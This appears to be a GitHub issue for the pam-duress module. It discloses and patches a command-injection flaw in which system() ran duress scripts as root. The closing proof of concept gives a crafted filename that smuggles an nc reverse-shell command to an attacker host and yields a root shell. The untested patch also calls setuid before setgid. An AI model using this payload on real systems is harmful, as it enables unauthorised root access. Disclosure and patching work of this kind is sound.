Potential code injection vulnerability submitted via hacker news user 'wowaname'

[nuvious]

Below is the full text of the email sent with the patch. Part of the implementation is already in the PR #12. Remainder of the fix is to use setuid/setgid/setenv as apposed to using system() which potentially provides a code-injection avenue.

(Untested) attempt to fix patch https://github.com/nuvious/pam-duress/pull/2 and remove avenues for improper shell quoting and unexpected code injection.

Implement our own analogue to system() which sets environ for PAMUSER and drops privs without parsing any of the user-modifiable values, guarding against unsafe input. As a side effect, this provides granular error handling for failed setenv, setuid, or setgid as opposed to overloading one system() call for it.

---
 CHANGELOG.md  |  4 +++-
 src/duress.c  | 43 +++++++++--------------------------
 src/util.c    | 62 +++++++++++++++++++++++++++++++++++++++++++++------
 src/version.h |  4 ++--
 4 files changed, 71 insertions(+), 42 deletions(-)

diff --git a/CHANGELOG.md b/CHANGELOG.md index 88bed64..b68edc9 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -2,4 +2,6 @@
  - 1.0.0
    - Initial commit of prototype tested on Debian 10.
  - 1.0.1
-   - Fixed some potential memory leaks, linted, and adjusted documentation.
\ No newline at end of file
+   - Fixed some potential memory leaks, linted, and adjusted documentation.
+ - 1.1.0
+   - Fixed privilege escalation vulnerability that could allow an unprivileged user to run commands as root.
\ No newline at end of file
diff --git a/src/duress.c b/src/duress.c index 3252922..ca0b4b5 100644
--- a/src/duress.c
+++ b/src/duress.c
@@ -192,22 +192,6 @@ int is_valid_duress_file(const char *filepath, const char *pam_pass)  #endif //DEBUG
       unsigned char *duress_hash = sha_256_sum(pam_pass, strlen(pam_pass), file_bytes, st.st_size);

-#ifdef DEBUG
-      syslog(LOG_INFO, "Loaded Hash: ");
-      for (int i = 0; i < SHA256_DIGEST_LENGTH; i++)
-      {
-            syslog(LOG_INFO, "%02X", hash[i]);
-      }
-      syslog(LOG_INFO, "\n");
-      // Output the hash
-      syslog(LOG_INFO, "Computed Hash: ");
-      for (int i = 0; i < SHA256_DIGEST_LENGTH; i++)
-      {
-            syslog(LOG_INFO, "%02X", duress_hash[i]);
-      }
-      syslog(LOG_INFO, "\n");
-#endif //DEBUG
-
       int result = 1;
       if (memcmp(hash, duress_hash, SHA256_DIGEST_LENGTH))
       {
@@ -224,7 +208,7 @@ int is_valid_duress_file(const char *filepath, const char *pam_pass)
       return result;
 }

-int process_dir(const char *directory, const char *pam_user, const char *pam_pass)
+int process_dir(const char *directory, const char *pam_user, const char 
+*pam_pass, const char* run_as_user)
 {
       int ret = 0;
       struct dirent *de;
@@ -249,20 +233,15 @@ int process_dir(const char *directory, const char *pam_user, const char *pam_pas
             if (is_valid_duress_file(fpath, pam_pass))
             {
                   syslog(LOG_INFO, "File is valid.\n");
-                  char *cmd = (char *) malloc(strlen(pam_user) + strlen(SHELL_CMD) + strlen(fpath) + 21);
-                  if (sprintf(cmd, "export PAMUSER=%s; %s %s", pam_user, SHELL_CMD, fpath) < 0)
-                  {
-                        syslog(LOG_ERR, "Failed to format command. %s %s\n", SHELL_CMD, fpath);
-                  }
-                  else
-                  {
 #ifdef DEBUG
-                        syslog(LOG_INFO, "Running command %s\n", cmd);
-#endif //DEBUG
-                        system(cmd);
-                        ret = 1;
-                  }
+                  char *cmd = (char *) malloc(
+                        strlen(pam_user) * 2 +
+                        strlen(SHELL_CMD) +
+                        strlen(fpath) + 29);
+                  syslog(LOG_INFO, "Running command %s\n", cmd);
                   free(cmd);
+#endif //DEBUG
+                  ret = run_shell_as(pam_user, run_as_user, fpath);
             }
             free(fpath);
       }
@@ -273,8 +252,8 @@ int process_dir(const char *directory, const char *pam_user, const char *pam_pas

 int execute_duress_scripts(const char *pam_user, const char *pam_pass)  {
-      int global_duress_run = process_dir(GLOBAL_CONFIG_DIR, pam_user, pam_pass);
-      int local_duress_run = process_dir(get_local_config_dir(pam_user), pam_user, pam_pass);
+      int global_duress_run = process_dir(GLOBAL_CONFIG_DIR, pam_user, pam_pass, "root");
+      int local_duress_run = 
+ process_dir(get_local_config_dir(pam_user), pam_user, pam_pass, 
+ pam_user);

       if (global_duress_run || local_duress_run)
             return PAM_SUCCESS;
@@ -309,4 +288,4 @@ int pam_sm_setcred(pam_handle_t *pamh, int flags, int argc, const char **argv)  int pam_sm_chauthtok(pam_handle_t *pamh, int flags, int argc, const char **argv)  {
       return (PAM_SUCCESS);
-}
\ No newline at end of file
+}
diff --git a/src/util.c b/src/util.c
index cdc1738..22907cc 100644
--- a/src/util.c
+++ b/src/util.c
@@ -91,16 +91,64 @@ char *get_local_config_dir(const char *user_name)
     memcpy(config_dir + strlen(home_dir), LOCAL_CONFIG_DIR_SUFFIX, strlen(LOCAL_CONFIG_DIR_SUFFIX));
     config_dir[final_path_len - 1] = 0;

-    // Output the hash
-    for (size_t i = 0; i <= strlen(config_dir); i++)
-    {
-        syslog(LOG_INFO, "%02X", config_dir[i]);
-    }
-    syslog(LOG_INFO, "\n");
-
     return config_dir;
 }

+pid_t run_shell_as(const char *pam_user, const char *run_as_user, const 
+char *script) {
+    pid_t pid = fork();
+    switch (pid) {
+        case 0: {
+            char* const argv[] = { SHELL, "-c", script, NULL };
+            struct passwd *run_as_pw = getpwnam(run_as_user);
+
+            if (setenv("PAMUSER", pam_user, 1)) { #ifdef DEBUG
+                syslog(LOG_ERR, "Could not set environment for PAMUSER 
+to %s, %d.\n", pam_user, errno); #endif //DEBUG
+                goto child_failed;
+            }
+
+            if (!run_as_pw) {
+#ifdef DEBUG
+                syslog(LOG_ERR, "Could not getpwnam %s, %d.\n", 
+run_as_user, errno); #endif //DEBUG
+                goto child_failed;
+            }
+
+            if (setuid(run_as_pw->pw_uid)) { #ifdef DEBUG
+                syslog(LOG_ERR, "Could not setuid, %d.\n", errno); 
+#endif //DEBUG
+                goto child_failed;
+            }
+            if (setgid(run_as_pw->pw_gid)) { #ifdef DEBUG
+                syslog(LOG_ERR, "Could not setgid, %d.\n", errno); 
+#endif //DEBUG
+                goto child_failed;
+            }
+
+            execv(SHELL_CMD, argv);
+
+child_failed:
+#ifdef DEBUG
+            syslog(LOG_ERR, "Could not run script %s, %d.\n", script, 
+errno); #endif //DEBUG
+            _exit(1);
+            break;
+        }
+        case -1:
+#ifdef DEBUG
+            syslog(LOG_ERR, "Could not fork for script %s, %d\n", 
+script, errno); #endif //DEBUG
+            break;
+        default:
+            break;
+    }
+    return pid;
+}
+
 unsigned char *sha_256_sum(const char *payload, size_t payload_size, const char *salt, size_t salt_size)  {
     unsigned char salt_hash[SHA256_DIGEST_LENGTH]; diff --git a/src/version.h b/src/version.h index 689e2fc..6a6e0df 100644
--- a/src/version.h
+++ b/src/version.h
@@ -2,7 +2,7 @@
 #define SOURCE_VERSION_H

 #define VERS_MAJOR 1
-#define VERS_MINOR 0
-#define VERS_REVISION 1
+#define VERS_MINOR 1
+#define VERS_REVISION 0

 #endif
\ No newline at end of file
--
2.31.1

[nuvious]

Code injection confirmed:

# On target machine as unprivileged user.
$> touch ~/.duress/'ls;"; nc [IP OF ATTACKING MACHINE] 4242 -c bash; echo "'
$> chmod 500 ~/.duress/'ls;"; nc [IP OF ATTACKING MACHINE] 4242 -c bash; echo "'
$> duress_sign ~/.duress/'ls;"; nc [IP OF ATTACKING MACHINE] 4242 -c bash; echo "'
Password:
Confirm:

# On attacking machine
$> nc -nlvp 4242 # Then log in on target machine via terminal, ssh, etc
whoami
root

Mitigation for anyone using this for now is to touch /home/USER/.duress and make it owned by root to prevent users from creating duress scripts. Other issues/feature requests will make running ~/.duress directories togglable via config and this issue will be resolved when setuid/setguid/setenv are implemented instead of system().